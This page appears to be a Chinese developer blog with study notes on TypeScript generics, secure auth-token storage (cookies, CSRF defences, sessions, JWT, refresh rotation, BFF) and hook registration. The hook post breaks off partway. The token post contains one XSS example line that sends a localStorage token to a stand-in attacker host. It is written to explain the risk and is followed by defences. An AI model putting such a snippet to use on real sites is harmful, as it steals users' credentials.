Pseudowang

TypeScript Generics 学习笔记

Fri, 07 Aug 2026 14:47:47 +0800

一些粗略地见解，如有写错或低级错误，欢迎您的指正

1. 为什么需要泛型

泛型解决的核心问题: 如何写出即复用又不丢失类型信息的代码

来看 “identity” 函数，这个最简单的例子:

// 方案 A：写死类型 —— 不能复用
function identity(arg: number): number {
  return arg;
}

// 方案 B：用 any —— 能复用，但丢失了类型信息
function identity(arg: any): any {
  return arg; // 传进去 number，返回的却"只是 any"，编译器不知道具体是什么
}

// 方案 C：泛型 —— 既能复用，又保留类型信息
function identity<Type>(arg: Type): Type {
  return arg;
}

Any 和泛型的关键区别:

any 能跑，但是代价是 类型信息彻底丢失。传进去一个 number，TS 只知道返回的是 any，完全不知道具体是什么类型，后面用起来毫无类型提示和检查，等于白写了 TS
泛型解决的就是这个矛盾：既要函数/类型能适配"任意类型"，又不想丢失具体的类型信息。

Type 在这里叫类型变量（type variable），它不是一个值，而是一个占位符，专门用来"捕获"调用时传入的类型。

两种调用方式

// 方式 1：显式指定类型参数
let output1 = identity<string>("myString"); // output1: string

// 方式 2：类型参数推断（更常用）
let output2 = identity("myString"); // TS 自动推断 Type = string

大多数时候用方式 2 就够了，编译器会根据传入的实参自动推断。复杂场景 (比如推断不出来的时候) 才需要显式写 <Type>

2. 泛型变量的"使用限制"

常见的坑：以为 Type 可以随便使用它的属性

function loggingIdentity<Type>(arg: Type): Type {
  console.log(arg.length);
  // ❌ 报错：Property 'length' does not exist on type 'Type'. [2339]
  return arg;
}

为什么会报错呢?: 因为 Type 代表 “任意类型”，编译器不能假设它一定有 .length (比如传入个 number 进来就没有)

解法: 明确它是数组

function loggingIdentity<Type>(arg: Type[]): Type[] {
  console.log(arg.length); // ✅ 数组一定有 .length
  return arg;
}

loggingIdentity([1, 2, 3]); // Type 推断为 number
loggingIdentity(["a", "b"]); // Type 推断为 string

也可以用 Array<Type> 它们是等价的

function loggingIdentity<Type>(arg: Array<Type>): Array<Type> {
  console.log(arg.length);
  return arg;
}

3. 泛型类型 (函数类型 & 接口)

泛型函数本身也有一个"类型"，而这个类型长什么样，取决于函数声明时类型参数是怎么写的

先复习下泛型函数的类型

function identity<Type>(arg: Type): Type {
  return arg;
}

let myIdentity: <Type>(arg: Type) => Type = identity;

这里 <Type> 写在最前面, 代表: “这是一个泛型函数， Type 就是泛型参数 "

重点: 类型参数的名字可以随便换, TS 只看"位置”, 不看名字:

let myIdentity2: <Input>(arg: Input) => Input = identity; // 一样合法

就像你写 function(x) { return x } 和 function(y) { return y } 逻辑完全相同, 变量名不影响逻辑。

思考:

let myIdentity: <Type>(arg: Type) => Type = identity;

定义了 myIdentity 这个变量，它的变量类型是 <Type>(arg: Type) => Type。myIdentity 这个变量，以后必须被赋值成一个函数，返回值类型必须和参数类型一致 – 因为 Type 不是一个固定类型，是一个占位符‘’。
将上面定义的泛型函数 identity 赋值给刚刚所定义的 myIdentity 变量。 TS 会检查 identity 函数的类型签名,跟 myIdentity 声明的类型签名做比对,发现两者"形状"完全匹配(都是"泛型 + 一个参数 + 返回同类型"),所以赋值合法。

泛型接口: 两种写法，含义不同

写法 A: 泛型参数挂在函数签名上 → 每次调用时决定

interface GenericIdentityFn {
  <Type>(arg: Type): Type; // 👈 这一整行就是"函数签名", 这是泛型函数签名
}

let myIdentity: GenericIdentityFn = identity;

myIdentity(42); // 这次调用,Type = number
myIdentity("hello"); // 这次调用,Type = string
myIdentity(true); // 这次调用,Type = boolean

myIdentity 这个变量本身没有绑定任何具体类型, 它保持"万能"状态, 每次调用的瞬间才决定 Type 是什么。

写法 B: 泛型参数挂在接口本身上 → 声明变量时就决定, 之后锁死

interface GenericIdentityFn<Type> {
  (arg: Type): Type;
}

let myIdentity: GenericIdentityFn<number> = identity;

myIdentity(42); // ✅ 合法
myIdentity("hello"); // ❌ 报错!Type 已经被锁定成 number 了

4. 泛型类

写法和接口类似，类型参数写在类名后面：

class GenericNumber<NumType> {
  zeroValue: NumType;
  add: (x: NumType, y: NumType) => NumType;
}

let myGenericNumber = new GenericNumber<number>();
myGenericNumber.zeroValue = 0;
myGenericNumber.add = (x, y) => x + y;

// 换成 string 也完全没问题
let stringNumeric = new GenericNumber<string>();
stringNumeric.zeroValue = "";
stringNumeric.add = (x, y) => x + y;
console.log(stringNumeric.add(stringNumeric.zeroValue, "test")); // "test"

⚠️ 注意：泛型类的类型参数只作用于实例成员，不能用在静态成员上（因为静态成员是属于类本身的，不属于某次具体的实例化）。TS 也不支持泛型 enum / namespace。

5. 泛类约束 (Generic Constraints)

回到第 2 节的报错：如果我们只想约束“必须有 .length"，而不是限制成"必须是数组”，怎么办？

用 `extends` 加约束：

interface Lengthwise {
  length: number;
}

function loggingIdentity<Type extends Lengthwise>(arg: Type): Type {
  console.log(arg.length); // ✅ 编译器知道 Type 至少有 .length
  return arg;
}

loggingIdentity({ length: 10, value: 3 }); // ✅ 有 length，OK
loggingIdentity(3); // ❌ number 没有 length
loggingIdentity("hello"); // ✅ string 有 length
loggingIdentity([1, 2, 3]); // ✅ 数组有 length

用一个类型参数约束另一个类型参数（`keyof`）

这是实际项目里非常常用的模式——安全地按 key 取对象的属性：

这里有两个类型参数:

Type: 代表传入对象 obj 的类型
Key: 代表传入的键名 key 的类型, 但它被约束成 extends keyof Type —— 意思是 “Key 必须是 Type 的某个键名, 不能瞎写”

function getProperty<Type, Key extends keyof Type>(obj: Type, key: Key) {
  return obj[key];
}

let x = { a: 1, b: 2, c: 3, d: 4 };

getProperty(x, "a"); // ✅ 返回 number
getProperty(x, "m"); // ❌ 报错：'m' 不是 'a'|'b'|'c'|'d' 之一

keyof 会把一个对象类型的所有键名提取出来,变成一个"联合类型" (union type)

type Point = { x: number; y: number };

type PointKeys = keyof Point; // "x" | "y"

let x = { a: 1, b: 2, c: 3, d: 4 };

getProperty(x, "a");

调用时, TS 会做这些推断:

你传了 x, 所以 Type = { a: number; b: number; c: number; d: number }
根据约束 Key extends keyof Type, 算出 keyof Type = "a" | "b" | "c" | "d"
所以 key 参数只能是 "a" | "b" | "c" | "d" 这四个字符串之一
你传了 "a", 合法 ✅

6. 用泛型描述类 (构造函数) 本身

工厂函数场景：不是传"某个类型的值"，而是传"某个类"，然后 new 出来：

function create<Type>(c: { new (): Type }): Type {
  return new c();
}

结合继承关系约束的例子

class Animal {
  numLegs: number = 4;
}

class BeeKeeper {
  hasMask: boolean = true;
}
class ZooKeeper {
  nametag: string = "Mikle";
}

class Bee extends Animal {
  numLegs = 6;
  keeper: BeeKeeper = new BeeKeeper();
}
class Lion extends Animal {
  keeper: ZooKeeper = new ZooKeeper();
}

function createInstance<A extends Animal>(c: new () => A): A {
  return new c();
}

createInstance(Lion).keeper.nametag; // ✅ string
createInstance(Bee).keeper.hasMask; // ✅ boolean

这个模式是 Mixins 设计模式的基础，日常业务代码用得较少，了解即可。

7. 泛型参数默认值

类似函数默认参数，给类型参数一个"默认类型"，调用时可以不传：

函数参数默认值

function greet(name: string = "World") {
  console.log(`Hello, ${name}`);
}

greet(); // Hello, World  (用了默认值)
greet("Mark"); // Hello, Mark   (传了就用传的)

泛型参数默认值的逻辑一模一样，只是把 = 加在类型参数后面:

function wrap<Type = string>(value: Type) {
  return [value];
}

意思是: “如果调用的时候没有明确指定 Type 是什么, TS 又推断不出来, 那就默认用 string"。

例子

假设有这样的一个容器

interface Container<T, U> {
  element: T;
  children: U;
}

没有默认值之前，必须写三个重载版本，来覆盖 “不传参数 / 传一个参数 / 传两个参数"这三种情况:

declare function create(): Container<HTMLDivElement, HTMLDivElement[]>;
declare function create<T extends HTMLElement>(element: T): Container<T, T[]>;
declare function create<T extends HTMLElement, U extends HTMLElement>(
  element: T,
  children: U[],
): Container<T, U[]>;

三个重载分别对应三种调用方式

declare 的作用是:“告诉 TS 这个东西存在,并且长这个样子,但我不在这里给出具体实现”。

有了泛型参数默认值之后, 可以合并成一个:

declare function create
  T extends HTMLElement = HTMLDivElement,
  U extends HTMLElement[] = T[]
>(element?: T, children?: U): Container<T, U>;

const div = create();
// 没传任何参数,T 用默认值 HTMLDivElement,U 用默认值 T[]
// 结果类型: Container<HTMLDivElement, HTMLDivElement[]>

const p = create(new HTMLParagraphElement());
// 传了一个 HTMLParagraphElement,T 被推断成 HTMLParagraphElement
// U 没传,用默认值 T[],也就是 HTMLParagraphElement[]
// 结果类型: Container<HTMLParagraphElement, HTMLParagraphElement[]>

T extends HTMLElement = HTMLDivElement → “T 必须是 HTMLElement 的子类型,如果不指定,默认用 HTMLDivElement”
U extends HTMLElement[] = T[] → “U 必须是 HTMLElement 数组,如果不指定,默认用 T[]"(注意,默认值里还能引用前面的类型参数 T)

泛型参数默认值遵循以下规则:

带有默认值的类型参数被视为"可选"的。

必填的类型参数不能排在可选的类型参数之后。

function fn<T = string, U>(x: T, y: U) {}
// ❌ 报错! T 有默认值 (可选), U 没有默认值 (必填)
// 必填的 U 不能排在可选的 T 后面
function fn<U, T = string>(x: T, y: U) {} // ✅

类型参数的默认类型,必须满足该类型参数的约束条件 (如果有约束的话)。
指定类型实参时, 你只需要为"必填"的类型参数提供实参; 未指定的类型参数会自动使用它们的默认类型。
如果指定了默认类型, 并且类型推断无法选出候选类型, 那么就会推断为默认类型。

与已有的类 (class) 或接口 (interface) 声明发生"合并"的新声明, 可以为一个已存在的类型参数引入默认值。

interface Box<T> {
  content: T;
}

// 这是另一处对同一个接口的声明,TS 会自动把两次声明"合并"
interface Box<T = string> {
  // ✅ 合法,给已有的类型参数 T 补充了一个默认值
}

与已有的类或接口声明发生"合并"的新声明, 可以引入一个新的类型参数, 只要这个新参数带有默认值。

interface Box<T> {
  content: T;
}

interface Box<T, U = number> {
  // ✅ 合法,新增了一个类型参数 U,但因为它带了默认值,
  // 所以不会破坏之前那些"只传了一个类型参数"的旧代码
  extra: U;
}

8. Variance Annotations（协变/逆变标注）

协变（covariant）：Producer<Cat> 可以用在需要 Producer<Animal> 的地方（因为 Cat 是 Animal 的子类型，“生产"关系方向一致）
逆变（contravariant）：Consumer<Animal> 可以用在需要 Consumer<Cat> 的地方（因为能处理 Animal 的函数，必然能处理 Cat，方向相反）

interface Producer<out T> {
  make(): T;
} // 协变标注
interface Consumer<in T> {
  consume: (arg: T) => void;
} // 逆变标注
interface ProducerConsumer<in out T> {
  // 不变（两个方向都标注）
  consume: (arg: T) => void;
  make(): T;
}

TS 会自动推断协变/逆变关系，正常写业务代码几乎不需要手写这些标注。只有在处理复杂循环类型、且推断出错时才需要手动干预

📖 参考文献

https://www.typescriptlang.org/docs/handbook/2/generics.html

存储 Auth Token 的方式

Mon, 27 Jul 2026 15:12:32 +0800

一些粗略地见解，如有写错或低级错误，欢迎您的指正

The basics

JWT (JSON Web Token) 是由三部分组成的字符串，用点进行分隔: header, payload, 和 signature。

eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOjEsImlhdCI6MTc4NTE2MzUxOSwiZXhwIjoxNzg1MTY3MTE5fQ.TUsT1-hAgwPa9DUCLCDhtI0cNXkAWUHkGS3BJjulU40

Payload 里包含了关于用户的一些事实信息，比如说用户 ID，也可能包括角色 (role)

Validation 到底在验证什么

Signature（签名）不是用来解码的，而是用来重新计算并比对的。流程是：

1. 服务器拿到 token，拆成 header.payload.signature 三段
2. 服务器用自己保存的密钥（secret），对 header + payload 重新做一次 HMAC 运算
3. 把重新算出来的结果，跟 token 自带的 signature 做字符串比对
4. 一致 → 说明这个 token 从签发到现在没被篡改过，而且确实是"拿着这个密钥的人"（也就是你的后端自己）签发的
5. 不一致 → 拒绝，判定 token 无效/被篡改

将 token 存放在 localStorage 之中

用户提交登录表单；服务器检查密码并返回 token。然后将 token 存放在 localStorage 里，然后从那以后每个请求都附加这个 token

前端

async function login(email: string, password: string) {
  const res = await fetch("/api/login", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ email, password }),
  });

  const { token } = await res.json();
  localStorage.setItem("token", token);
}

async function fetchProfile() {
  const res = await fetch("/api/me", {
    headers: {
      Authorization: `Bearer ${localStorage.getItem("token")}`,
    },
  });
  return res.json();
}

简单 express 后端

app.post("/api/login", async (req, res) => {
  const { email, password } = req.body;
  const user = FAKE_USERS.find(
    (u) => u.email === email && u.password === password,
  );

  if (!user) {
    return res.status(401).json({ error: "账号或密码错误" });
  }

  const token = await signJWT(user.id);
  res.json({ token });
});

在服务器收到 token 之后，会重新计算这个 signature，检查是否匹配，匹配的话就直接信任这个 payload 里的内容，不用再去查任何东西。用户 ID 就在这个 token 里面，所以不需要去数据库里查一行记录来获取用户 ID 或验证用户身份

这个就叫作 stateless

JWT 本身是要用的，但是有个问题就是，我们应该将 JWT 存放在哪里

存在哪里: 三种选择

1. localStorage

localStorage 的问题是页面上任何一段 JavaScript 都能读它，包括攻击者注入的那一段。一旦发生 XSS，攻击者只需要一行代码：

fetch("https://attacker.example/collect", {
  method: "POST",
  body: localStorage.getItem("token"),
});

token 就被搬走了。而且这个 token 离开浏览器之后在任何网络环境下都依然有效，直到它自己过期为止

关键点: localStorage 泄露的不是"这次会话"，而是一份可以带走、离线复用的凭证

2. 内存变量 —— 看起来好一点，其实不实用

把 token 存在一个普通的 JS 变量里，攻击者得先知道这个变量的存在，门槛稍微高一点点

let accessToken: string | null = null;

async function login(email: string, password: string) {
  const res = await fetch("/api/login", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ email, password }),
  });

  const { token } = await res.json();
  accessToken = token; // lives in memory, never written to disk
}

但致命问题是: 刷新页面内存就清空了，用户直接被登出。为了解决这个问题就得引入 refresh token，而 refresh token 又要找地方存 —— 绕回了原点

现在就不像是刚刚，后端直接将 token 返回，然后前端将 token 存储在 localStorage 之中。而是通过 res.cookie() 写进 Set-Cookie 响应头，并加上四个关键的 flag:

存储阶段: 浏览器收到带 Set-Cookie 的响应后自动把这个 cookie 存起来，之后每次请求这个域名都会自动在请求头里带上 Cookie: token=xxx，前端代码完全不用手动管理 token (不用存 localStorage，也不用手动拼 Authorization 头)

const token = await signJWT(user.id);
res.cookie("token", token, {
  httpOnly: true,
  secure: true,
  sameSite: "lax",
  path: "/",
});

res.json({ ok: true });

浏览器会自动把 cookie 附加到请求上，但 HttpOnly 让 JavaScript 完全读不到它，document.cookie 里也看不见

Set-Cookie: __Host-session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/

几个标志各管一件事:

HttpOnly: 禁止 JS 读取. document.cookie 不会显示出来，没有脚本能读取它
Secure: 只走 HTTPS
SameSite=Lax: 限制跨站携带（顶层导航是例外）。当请求来自其他网站时，不要附加这个 cookie
Path=/: 限定作用范围
__Host- 前缀: 强制 Secure、禁止指定 Domain、要求 Path=/，就是后面三个条件 必须同时满足

这时前端没有 token需要管理，登录只是一个请求，后续请求只需发送凭证:

async function login(email: string, password: string) {
  await fetch("/api/login", {
    method: "POST",
    credentials: "include", // browser handles the cookie from here
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ email, password }),
  });
  // Nothing in the response body to store. There's no token in our code at all.
}

async function fetchProfile() {
  const res = await fetch("/api/me", { credentials: "include" });
  return res.json();
}

httpOnly 挡的是"偷走"，不是"滥用" XSS 发生时，攻击者仍然可以借着用户当前这个浏览器发请求，但他没法把凭证拷贝出去在别的地方用

普通 cookie（没有 __Host- 前缀）—— 每个属性各自独立，随便搭配

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/

这里的 HttpOnly、Secure、SameSite、Path 互相之间没有依赖关系，你可以：

只写 Secure，不写 HttpOnly（能存，只是 JS 能读到）
只写 Path=/api，不写 Domain（能存，只是范围小一点）
加一个 Domain=example.com（能存，会被所有子域名共享）
甚至什么安全属性都不加，只写 session=abc123（能存，就是最不安全的裸奔版本）

__Host- 前缀 cookie —— 三个条件是"全有或全无"

Set-Cookie: __Host-session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/

这里不一样，只要你用了 __Host- 这个前缀命名，浏览器就会做强制校验：

必须有 Secure
不能有 Domain
必须是 Path=/

XSS 和 CSRF 是两种病，要两种药

XSS (Cross-Site Scripting): 攻击者的代码跑在你的页面上

用 localStorage → token 当场被偷走
用 httpOnly cookie → 只能在当前这个标签页里搞破坏

CSRF (Cross-Site Request Forgery): 别人的网站骗浏览器发出一个用户本意之外的已认证请求

cookie 是自动附加的 → 有 CSRF 风险
localStorage 的 Authorization header 不会自动附加 → 因为外部网站无法读取你的 localStorage

所以从 localStorage 换到 cookie，等于是用 CSRF 的麻烦换掉 XSS 的灾难，那 CSRF 就得自己补上防御

CSRF 的三层防御

第一层: CSRF Token（主力）

服务器在页面上种一个不可预测的值，所有改状态的请求都必须把它放在自定义 header 里回传。别的站点上那个伪造的表单读不到这个值（同源策略拦着），所以伪造不出合法请求

常见做法是 double-submit: token 放在一个可读 cookie 里 + 变更请求时放进 header

前端

// 所有会改变状态的请求都走这里，统一带上 csrf header
async function post(path, body) {
  return fetch(path, {
    method: "POST",
    credentials: "include",
    headers: {
      "Content-Type": "application/json",
      "X-CSRF-Token": getCsrfToken() ?? "",
    },
    body: JSON.stringify(body ?? {}),
  });
}

async function login() {
  const email = document.getElementById("email").value;
  const password = document.getElementById("password").value;

  const res = await post("/api/login", { email, password });
  const data = await res.json();

  if (!res.ok) {
    show("登录失败: " + JSON.stringify(data, null, 2));
    return;
  }
}

后端

// 注意: 这个 cookie 故意 不加 httpOnly，前端 JS 必须能读到它才能回传
function setCsrfCookie(res, value) {
  res.cookie("csrf_token", value, {
    httpOnly: false,
    secure: true,
    sameSite: "lax",
    path: "/",
  });
}

第二层: SameSite（兜底）

SameSite=Lax / Strict 让 cookie 不跟着跨站请求走

两个坑:

Lax 对顶层 GET 导航是放行的 → 所以 GET 请求绝对不能改数据
“site” 不等于 “origin” → SameSite 防不住你自己的子域名之间的攻击

第三层: 校验 Origin（保险丝）

Origin 和 Sec-Fetch-Site 这两个 header 是浏览器加的，前端伪造不了。所有变更类请求，只要不是同源就直接丢掉

app.use((req, res, next) => {
  if (["POST", "PUT", "PATCH", "DELETE"].includes(req.method)) {
    // 只对"会改数据"的请求方法做检查，GET 一般不该改数据，所以不查

    const site = req.get("Sec-Fetch-Site");
    // 读取浏览器自动加的这个 header 的值

    if (site && site !== "same-origin") {
      // 如果这个 header 存在，且值不是 "same-origin"
      // （意味着这是跨站或跨源发起的请求）
      return res.status(403).json({ error: "cross-site request rejected" });
      // 直接拒绝，403
    }
  }
  next();
  // 是同源请求，或者是安全的 GET 请求，放行
});

Origin 和 Sec-Fetch-Site 分别是什么

Origin

浏览器在发起跨站请求（以及大多数 POST 请求，不只是跨站）时，会自动带上这个 header，告诉服务器"这个请求是从哪个源发出的"：

Origin: https://evil-coupons.example

如果这个值不是你自己网站的域名，服务器就能判断"这不是从我自己网站发出的请求"。

Sec-Fetch-Site

这是浏览器自带的 Fetch Metadata 系列 header 之一，直接告诉服务器"这次请求和当前页面的关系是什么"，可能的值有：

Sec-Fetch-Site: same-origin   // 同源（比如 bank.example 请求 bank.example 自己的接口）
Sec-Fetch-Site: same-site     // 同站但不同源（比如 app.bank.example 请求 bank.example）
Sec-Fetch-Site: cross-site    // 完全跨站（比如 evil-coupons.example 请求 bank.example）
Sec-Fetch-Site: none          // 用户直接在地址栏输入网址访问，没有"发起页面"这个概念

Session 还是 JWT

存放位置–解决的是"会不会被偷/被伪造请求"

localStorage → 怕 XSS（读取窃取）
Cookie       → 怕 CSRF（自动携带被滥用），但可以用 __Host- / CSRF Token / Origin 校验来防

内容形态–解决的是 “能不能被主动吊销”

Session ID（随机字符串，需要查表） → 服务器随时能让它失效（删一行记录）
JWT（自包含签名信息，免查表）      → 一旦签发，过期前无法撤销

这一点， 跟你放在哪（localStorage 还是 cookie）完全无关——不管你把 JWT 放在多安全的 cookie 里（哪怕是 __Host- + CSRF Token + Origin 校验全套武装），JWT 本身"没法被吊销"这个特性不会因为存储位置变安全就消失。

JWT 的真正问题: 撤销不了

JWT 是 stateless 的，服务器不用查库 —— 听起来很高效

但反过来说: 一个 JWT 在过期之前一直有效，你没有办法把它作废

用户登出 → token 还能用
改密码 / 封号 / 收回权限 → 全都要等到过期才生效

想解决就得在服务端维护一张吊销名单 —— 那其实就是把 session 重新做了一遍，只是 token 更大了

Session 的做法

session cookie 里只是一串没有任何含义的随机字符串，服务器拿它去数据库查当前用户状态。每个请求都查一次，所以登出、封号、权限变更立刻生效

app.post("/api/login", async (req, res) => {
  const user = await verifyPassword(req.body.email, req.body.password);
  const sessionId = crypto.randomBytes(32).toString("hex");
  await db.sessions.create({ id: sessionId, userId: user.id });
  res.cookie("__Host-session", sessionId, {
    httpOnly: true,
    secure: true,
    sameSite: "lax",
    path: "/",
  });
  res.json({ ok: true });
});

登出就是删掉那行数据库记录，会话在所有地方同时失效

Session fixation 的坑: 登录时、以及每次权限提升后（2FA、升管理员）都要重新生成一个新的 session ID，绝对不能复用客户端递过来的那个

// Runs before your routes. Reads the cookie, finds the user, or leaves it null.
app.use(async (req, res, next) => {
  const sessionId = req.cookies["__Host-session"];
  const session = sessionId ? await db.sessions.get(sessionId) : null;

  // Attach the user to the request so every route below can see it
  req.user = session ? await db.users.get(session.userId) : null;
  next();
});

// A protected route now reads req.user and trusts it, because the
// middleware already did the work.
app.get("/api/orders", async (req, res) => {
  if (!req.user) return res.status(401).json({ error: "not logged in" });
  res.json(await db.orders.findByUser(req.user.id));
});

app.post("/api/logout", async (req, res) => {
  const sessionId = req.cookies["__Host-session"];
  if (sessionId) await db.sessions.delete(sessionId); // the session is now gone, server-side

  res.clearCookie("__Host-session");
  res.json({ ok: true });
});

这种设计优于无状态的 JWT。用户的所有信息在每个请求都是最新的，因为是实时读取的，而不是信任一个小时前生成的 token

JWT 什么时候才是对的

JWT 擅长的场景是 “验证一个 token” 比 “共享一个数据库” 更划算的时候: 微服务之间、API 网关、SSO —— 每个服务各自独立验签

OAuth: access token 和 refresh token 怎么放

OAuth 会给你两个 token，分开处理:

access token: 生命周期短（5–15 分钟）→ 放内存里，被偷了窗口期也很窄
refresh token: 生命周期长 → 放 httpOnly cookie，并且 Path=/api/refresh，只发给这一个端点

res.cookie("refresh_token", refreshToken, {
  httpOnly: true,
  secure: true,
  sameSite: "strict",
  path: "/api/refresh", // 只在这条路径下才会被浏览器自动带上
});

拿 refresh token，去换一个新的 access token

具体流程:

1. 用户登录成功
   → 服务器返回一个 access token（放前端内存里，短命，比如15分钟）
   → 服务器同时通过 Set-Cookie 设置 refresh token（httpOnly cookie，长命，比如7天，Path=/api/refresh）

2. 用户在页面上操作，正常带着内存里的 access token 请求各种接口
   fetch('/api/orders', { headers: { Authorization: `Bearer ${accessToken}` } })

3. 过了15分钟，access token 过期了，服务器返回 401

4. 前端发现 401，去调用 /api/refresh 这个特定端点：
   fetch('/api/refresh', { credentials: 'include' })
   // 这次请求不需要手动带 Authorization header
   // 浏览器看到路径匹配 /api/refresh，自动把 refresh token cookie 带上

5. 服务器在 /api/refresh 这个接口里：
   - 从 cookie 里读出 refresh token
   - 验证它是否有效（没过期、没被吊销）
   - 生成一个新的 access token，返回给前端
   - （如果开启了 rotation：同时生成一个新的 refresh token，替换掉旧的）

6. 前端拿到新的 access token，存回内存，重新发起第3步失败的那个请求

轮换 (Rotation): 让被偷的凭证自己失效

每次 refresh 都作废上一个 refresh token 并发一个新的，形成一条链。如果服务器发现同一个 refresh token 被用了两次，说明有人在复用旧凭证 → 直接烧掉整条链，强制重新登录

这就是它的自愈性: 被偷的凭证会在下一个 refresh 周期里自己拆掉引信

并发 refresh 的坑

access token 一过期，同时在飞的好几个请求会一起去调 refresh —— 后面几个拿着已经作废的 token，直接把整条链烧了

解法是把那个正在进行的 Promise 存起来，让所有等待者都 await 同一个:

let refreshing: Promise<string> | null = null;

function refreshAccessToken() {
  if (!refreshing) {
    refreshing = fetch("/api/refresh", { credentials: "include" })
      .then(/* handle and store */)
      .finally(() => {
        refreshing = null;
      });
  }
  return refreshing;
}

前端封一层就够了

把 fetch 包一层，自动带 token、遇到 401 就刷新并重试，组件完全不用知道 token 的存在

async function api(path: string, options: RequestInit = {}) {
  const res = await fetch(path, {
    ...options,
    headers: { ...options.headers, Authorization: `Bearer ${accessToken}` },
  });

  if (res.status === 401) {
    const fresh = await refreshAccessToken();
    return fetch(path, {
      ...options,
      headers: { ...options.headers, Authorization: `Bearer ${fresh}` },
    });
  }
  return res;
}

BFF (Backend for Frontend): 让浏览器根本拿不到 token

最彻底的做法 —— 在 SPA 和真正的 API 之间放一层薄薄的服务器:

浏览器手里只有一个 httpOnly session cookie（一串无意义的随机字符）
BFF 用 session ID 在服务端查出真正的 OAuth token
BFF 带着这些 token 去请求真正的 API
token 过期了，BFF 在服务器之间悄悄刷新，浏览器全程不参与
刷新失败就删掉 session，把用户送回登录页

// The BFF. The browser only ever talks to this, never to the real API.
app.all("/api/*splat", async (req, res) => {
  // 1. The browser sent a session cookie, not a token.
  const sessionId = req.cookies["__Host-session"];
  const session = sessionId ? await sessions.get(sessionId) : null;
  if (!session) return res.status(401).json({ error: "not logged in" });

  // 2. Swap the cookie for the real access token, which never left this server.
  let accessToken = session.accessToken;

  // 3. If it has expired, refresh the server-to-server connection before forwarding. If the refresh
  // itself fails (token expired or revoked at the provider), the session is
  // over: kill it and make the browser log in again.
  if (Date.now() >= session.expiresAt) {
    try {
      const refreshed = await refreshWithProvider(session.refreshToken);
      accessToken = refreshed.accessToken;
      await sessions.update(sessionId, refreshed); // rotate + store the new pair
    } catch {
      await sessions.delete(sessionId);
      return res.status(401).json({ error: "session expired" });
    }
  }

  // 4. Forward the real API request with the bearer token that the browser never sees.
  // originalUrl keeps the query string; req.path would drop ?page=2.
  const upstream = await fetch(
    `https://api.example.com${req.originalUrl.replace("/api", "")}`,
    {
      method: req.method,
      headers: {
        Authorization: `Bearer ${accessToken}`,
        "Content-Type": req.get("Content-Type") ?? "application/json",
      },
      body: ["GET", "HEAD"].includes(req.method)
        ? undefined
        : JSON.stringify(req.body),
    },
  );

  // Pass the status through. A 204 or other empty body has nothing to parse,
  // so guard the json() call or it throws.
  res.status(upstream.status);
  const text = await upstream.text();
  return text ? res.type("json").send(text) : res.end();
});

好处:

token 从来没离开过服务器，XSS 偷不走一个根本不存在的东西
轮换全在服务器之间完成
应用从 OAuth 的 public client 升级成 confidential client（更强的流程）

代价: 多一层基础设施、每个请求两跳的延迟、扩容更复杂

📖 参考文献

https://neciudan.dev/most-secure-way-to-store-auth-token

Hook

Fri, 12 Jun 2026 11:41:30 +0800

起因是看 LangChain 的 Agent 时遇到了 before_model、before_agent 这类东西，再加上之前零散听过的 “Hook” 概念，于是想把它彻底搞清楚。这篇笔记从 Hook 是什么讲起，再拆解它的四种注册机制

Hook 是什么

Hook 在不同语境下指代不同的两样东西，一个是 Hook Point (挂载点)，一个是 Hook Function (钩子函数)

Hook Point

是框架/系统预留的 “空位” – 一个特定位置，系统在执行到这里时会主动查询 “有没有人注册了回调? 有的话就调用一下”。它是被动的，本身不含逻辑，只是一个触发机制

当执行流到达某个特定位置时，运行时会检查是否有函数被提前注册到此处。如果有，则在此处调用它。这个 “被传递出去、等待被外部调用” 的函数，称为 callback function。而这整个 “将函数作为参数传递给另一个函数或系统，由接收方决定调用时机” 的机制，称为 callback

Hook Function

是你写的那段代码– 真正被"挂上去"的逻辑。它是主动的，是实际执行的内容

注册机制

肯定会想到，那 Hook Function 是怎么注册到 Hook Point 上的呢

下面四个机制看起来差别很大，但本质完全相同：都是在某个时刻把一个函数引用存到某处，让框架到达 Hook Point 时能找到并调用它。区别只在于 “谁来存、什么时候存、存在哪里”。带着这个统一视角去看，会清晰很多。

显式调用注册函数

框架暴露一个注册函数，然后开发者主动调用框架提供的注册函数 (如 add_action)，传入两个参数:

第一个参数: Hook Point 的名称 (字符串)，用于告诉注册表，这个 callback function 对应哪个 Hook Point。
第二个参数: callback function，此时只是被传入并存进注册表，尚未执行

// ── 第一步：注册表，用来存放所有注册过的 callback ──
const registry = {};

// ── 第二步：add_action 的内部实现 ──
function add_action(hookName, callback) {
  registry[hookName] = callback;
  // 把 hookName 作为 key，callback 作为 value 存进注册表
  // 此时 callback 只是被存起来，还没有执行
}

// ── 第三步：run_hooks 的内部实现 ──
function run_hooks(hookName, data) {
  if (registry[hookName]) {
    // 去注册表查询有没有这个名字
    registry[hookName](data); // 有的话就调用它，并把 data 传进去
  }
  // 没有的话就跳过
}

// ── 第四步：框架内部的业务函数，包含 Hook Point ──
function save_post(post_id) {
  do_actual_save(post_id); // 框架自己的保存逻辑
  run_hooks("save_post", post_id); // ← Hook Point，执行到这里开始查注册表
}

// ── 第五步：开发者注册自己的 callback ──
add_action("save_post", function (post_id) {
  console.log("文章保存了，id 是", post_id);
});

// ── 第六步：某个地方触发了 save_post ──
save_post(42);

// 执行流：
// 1. save_post(42) 被调用
// 2. do_actual_save(42) 执行
// 3. run_hooks('save_post', 42) 执行，到达 Hook Point
// 4. 去注册表查询 'save_post'，找到了对应的 callback function
// 5. 调用该 callback function，并将 42 作为 post_id 传入
// 6. 打印：文章保存了，id 是 42

run_hooks("save_post", post_id) 这一行就是 Hook Point，run_hooks 内部负责去注册表查找并调用 callback function

优点：

注册时机灵活 (任何时候都能注册)
一个 Hook Point 可以挂多个 Hook Function
可以按优先级排序执行

缺点：

必须在 Hook Point 触发前完成注册
Hook Point 名称是字符串，拼错不报错

配置文件/装饰器声明

用装饰器或配置文件声明"这个 Hook Function 挂到哪个 Hook Point"。框架在启动时扫描代码或配置，自动完成注册。不需要手动调用注册函数，框架会在初始化阶段替你完成这一步

@app.before_request
def check_auth():
    if not current_user.is_authenticated:
        return redirect('/login')

